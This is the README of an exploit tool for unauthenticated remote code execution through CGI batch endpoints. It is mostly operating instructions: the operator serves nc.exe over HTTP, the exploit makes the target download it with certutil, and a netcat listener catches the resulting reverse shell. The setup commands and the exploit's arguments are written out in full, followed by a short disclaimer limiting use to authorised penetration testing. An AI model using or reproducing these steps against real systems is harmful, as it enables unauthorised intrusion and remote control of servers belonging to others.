CGI RCE Exploit

PoC for unauthenticated RCE via CGI batch endpoints. Downloads nc.exe to the target using certutil and triggers a reverse shell.

Setup

1. Serve nc.exe (in the same directory where nc.exe is):

python3 -m http.server 80

2. Start your listener:

nc -lvnp 1234

3. Run the exploit:

python3 exploit.py \
  --url http://:/cgi/.bat \
  --server-ip  \
  --server-port 80 \
  --nc-ip  \
  --nc-port 1234

Arguments

Argument	Required	Default	Description
--url	✅	—	Full target URL with CGI endpoint
--server-ip	✅	—	Your IP serving nc.exe via HTTP
--server-port	❌	80	Port for the HTTP server
--nc-ip	✅	—	Your Netcat listener IP
--nc-port	✅	—	Your Netcat listener port

Disclaimer

For authorized penetration testing and educational purposes only.